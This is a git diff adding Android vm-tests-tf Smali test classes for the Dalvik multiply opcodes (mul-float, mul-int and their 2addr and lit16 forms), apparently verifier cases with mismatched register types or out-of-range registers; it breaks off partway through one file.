+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_float_4.java"
+.class  public Ldot/junit/opcodes/mul_float/d/T_mul_float_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JF)F
+.registers 8
+
+       mul-float v0, v5, v7
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float/d/T_mul_float_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float/d/T_mul_float_5.smali
new file mode 100644
index 0000000..3d8c8da
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float/d/T_mul_float_5.smali

@@ -0,0 +1,18 @@
+.source "T_mul_float_5.java"
+.class  public Ldot/junit/opcodes/mul_float/d/T_mul_float_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)F
+.registers 8
+
+       mul-float v0, v5, v7
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float/d/T_mul_float_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float/d/T_mul_float_6.smali
new file mode 100644
index 0000000..053c077
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float/d/T_mul_float_6.smali

@@ -0,0 +1,18 @@
+.source "T_mul_float_6.java"
+.class  public Ldot/junit/opcodes/mul_float/d/T_mul_float_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FI)F
+.registers 8
+
+       mul-float v0, v6, v7
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float_2addr/d/T_mul_float_2addr_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float_2addr/d/T_mul_float_2addr_1.smali
new file mode 100644
index 0000000..171c848
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float_2addr/d/T_mul_float_2addr_1.smali

@@ -0,0 +1,18 @@
+.source "T_mul_float_2addr_1.java"
+.class  public Ldot/junit/opcodes/mul_float_2addr/d/T_mul_float_2addr_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)F
+.registers 8
+
+       mul-float/2addr v6, v7
+       return v6
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float_2addr/d/T_mul_float_2addr_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float_2addr/d/T_mul_float_2addr_2.smali
new file mode 100644
index 0000000..a1792fe
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float_2addr/d/T_mul_float_2addr_2.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_float_2addr_2.java"
+.class  public Ldot/junit/opcodes/mul_float_2addr/d/T_mul_float_2addr_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)F
+.registers 8
+
+       mul-float/2addr v6, v8
+       return v6
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float_2addr/d/T_mul_float_2addr_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float_2addr/d/T_mul_float_2addr_3.smali
new file mode 100644
index 0000000..dc466d9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float_2addr/d/T_mul_float_2addr_3.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_float_2addr_3.java"
+.class  public Ldot/junit/opcodes/mul_float_2addr/d/T_mul_float_2addr_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FD)F
+.registers 8
+
+       mul-float/2addr v5, v6
+       return v5
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float_2addr/d/T_mul_float_2addr_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float_2addr/d/T_mul_float_2addr_4.smali
new file mode 100644
index 0000000..3a36fae
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float_2addr/d/T_mul_float_2addr_4.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_float_2addr_4.java"
+.class  public Ldot/junit/opcodes/mul_float_2addr/d/T_mul_float_2addr_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JF)F
+.registers 8
+
+       mul-float/2addr v5, v7
+       return v5
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float_2addr/d/T_mul_float_2addr_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float_2addr/d/T_mul_float_2addr_5.smali
new file mode 100644
index 0000000..2cdbe46
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float_2addr/d/T_mul_float_2addr_5.smali

@@ -0,0 +1,18 @@
+.source "T_mul_float_2addr_5.java"
+.class  public Ldot/junit/opcodes/mul_float_2addr/d/T_mul_float_2addr_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)F
+.registers 8
+
+       mul-float/2addr v5, v7
+       return v5
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float_2addr/d/T_mul_float_2addr_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float_2addr/d/T_mul_float_2addr_6.smali
new file mode 100644
index 0000000..bc0ee93
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_float_2addr/d/T_mul_float_2addr_6.smali

@@ -0,0 +1,18 @@
+.source "T_mul_float_2addr_6.java"
+.class  public Ldot/junit/opcodes/mul_float_2addr/d/T_mul_float_2addr_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FI)F
+.registers 8
+
+       mul-float/2addr v6, v7
+       return v6
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int/d/T_mul_int_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int/d/T_mul_int_1.smali
new file mode 100644
index 0000000..1771cb0
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int/d/T_mul_int_1.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_int_1.java"
+.class  public Ldot/junit/opcodes/mul_int/d/T_mul_int_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 9
+
+       mul-int v0, v7, v8
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int/d/T_mul_int_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int/d/T_mul_int_2.smali
new file mode 100644
index 0000000..42bdb5c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int/d/T_mul_int_2.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_int_2.java"
+.class  public Ldot/junit/opcodes/mul_int/d/T_mul_int_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 8
+
+       mul-int v0, v7, v8
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int/d/T_mul_int_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int/d/T_mul_int_3.smali
new file mode 100644
index 0000000..b653287
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int/d/T_mul_int_3.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_int_3.java"
+.class  public Ldot/junit/opcodes/mul_int/d/T_mul_int_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(ID)I
+.registers 9
+
+       mul-int v0, v6, v7
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int/d/T_mul_int_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int/d/T_mul_int_4.smali
new file mode 100644
index 0000000..2e335ea
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int/d/T_mul_int_4.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_int_4.java"
+.class  public Ldot/junit/opcodes/mul_int/d/T_mul_int_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JI)I
+.registers 9
+
+       mul-int v0, v6, v8
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int/d/T_mul_int_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int/d/T_mul_int_5.smali
new file mode 100644
index 0000000..5443957
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int/d/T_mul_int_5.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_int_5.java"
+.class  public Ldot/junit/opcodes/mul_int/d/T_mul_int_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 9
+
+       mul-int v0, v6, v8
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int/d/T_mul_int_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int/d/T_mul_int_6.smali
new file mode 100644
index 0000000..9356dbe
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int/d/T_mul_int_6.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_int_6.java"
+.class  public Ldot/junit/opcodes/mul_int/d/T_mul_int_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(IF)I
+.registers 9
+
+       mul-int v0, v7, v8
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_2addr/d/T_mul_int_2addr_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_2addr/d/T_mul_int_2addr_1.smali
new file mode 100644
index 0000000..71f6ba9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_2addr/d/T_mul_int_2addr_1.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_int_2addr_1.java"
+.class  public Ldot/junit/opcodes/mul_int_2addr/d/T_mul_int_2addr_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 8
+
+       mul-int/2addr v6, v7
+       return v6
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_2addr/d/T_mul_int_2addr_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_2addr/d/T_mul_int_2addr_2.smali
new file mode 100644
index 0000000..fa99897
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_2addr/d/T_mul_int_2addr_2.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_int_2addr_2.java"
+.class  public Ldot/junit/opcodes/mul_int_2addr/d/T_mul_int_2addr_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 8
+
+       mul-int/2addr v7, v8
+       return v7
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_2addr/d/T_mul_int_2addr_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_2addr/d/T_mul_int_2addr_3.smali
new file mode 100644
index 0000000..a066367
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_2addr/d/T_mul_int_2addr_3.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_int_2addr_3.java"
+.class  public Ldot/junit/opcodes/mul_int_2addr/d/T_mul_int_2addr_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(ID)I
+.registers 8
+
+       mul-int/2addr v5, v6
+       return v5
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_2addr/d/T_mul_int_2addr_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_2addr/d/T_mul_int_2addr_4.smali
new file mode 100644
index 0000000..a5e7ba3
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_2addr/d/T_mul_int_2addr_4.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_int_2addr_4.java"
+.class  public Ldot/junit/opcodes/mul_int_2addr/d/T_mul_int_2addr_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JI)I
+.registers 8
+
+       mul-int/2addr v5, v7
+       return v5
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_2addr/d/T_mul_int_2addr_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_2addr/d/T_mul_int_2addr_5.smali
new file mode 100644
index 0000000..400ef1c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_2addr/d/T_mul_int_2addr_5.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_int_2addr_5.java"
+.class  public Ldot/junit/opcodes/mul_int_2addr/d/T_mul_int_2addr_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 8
+
+       mul-int/2addr v5, v7
+       return v5
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_2addr/d/T_mul_int_2addr_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_2addr/d/T_mul_int_2addr_6.smali
new file mode 100644
index 0000000..a6bd55e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_2addr/d/T_mul_int_2addr_6.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_int_2addr_6.java"
+.class  public Ldot/junit/opcodes/mul_int_2addr/d/T_mul_int_2addr_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(IF)I
+.registers 8
+
+       mul-int/2addr v6, v7
+       return v6
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_1.smali
new file mode 100644
index 0000000..e58e32b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_1.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_int_lit16_1.java"
+.class  public Ldot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 9
+
+       mul-int/lit16 v0, v8, 130
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_10.smali
new file mode 100644
index 0000000..24c84c1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_10.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_int_lit16_10.java"
+.class  public Ldot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_10;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 9
+
+       mul-int/lit16 v0, v7, 4321
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_2.smali
new file mode 100644
index 0000000..309d416
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_2.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_int_lit16_2.java"
+.class  public Ldot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 9
+
+       mul-int/lit16 v0, v8, -321
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_3.smali
new file mode 100644
index 0000000..303dac3
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_3.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_int_lit16_3.java"
+.class  public Ldot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)I
+.registers 9
+
+       mul-int/lit16 v0, v8, 130
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_4.smali
new file mode 100644
index 0000000..7d158ba
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_4.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_int_lit16_4.java"
+.class  public Ldot/junit/opcodes/mul_int_lit16/d/T_mul_int_lit16_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 9
+
